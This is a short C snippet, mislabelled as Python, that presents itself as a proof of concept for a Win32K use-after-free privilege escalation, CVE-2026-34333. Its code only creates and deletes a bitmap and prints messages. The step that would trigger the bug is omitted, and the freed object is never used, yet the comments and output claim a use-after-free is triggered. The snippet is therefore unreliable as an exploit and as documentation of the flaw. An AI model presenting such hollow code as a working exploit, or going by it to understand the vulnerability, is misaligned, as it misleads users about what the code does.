The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// Proof of Concept for CVE-2026-34333 (Win32K UAF)
// This code demonstrates the trigger logic for the Use After Free vulnerability.
// Note: Actual exploitation requires precise memory layout manipulation.
void TriggerExploit() {
// Step 1: Create a target graphical object (e.g., a Bitmap or Region)
HGDIOBJ hObj = CreateBitmap(0x100, 0x100, 1, 32, NULL);
if (hObj == NULL) {
printf("[-] Failed to create object.\n");
return;
}
printf("[+] Object created at 0x%p\n", hObj);
// Step 2: Trigger the vulnerability logic
// In a real scenario, specific system calls are used to decrease the ref count
// while keeping a reference, leading to a free operation.
// Simulating the condition that leads to the UAF
// (Specific API sequence omitted for safety)
// Step 3: The object is freed by the kernel, but we still hold a handle/reference
DeleteObject(hObj);
// Step 4: Attempt to use the freed object (UAF)
// This typically crashes the system or allows code execution if memory is controlled
printf("[+] Triggering Use After Free...\n");
}
int main() {
printf("CVE-2026-34333 PoC - Win32K Local Privilege Escalation\n");
TriggerExploit();
return 0;
}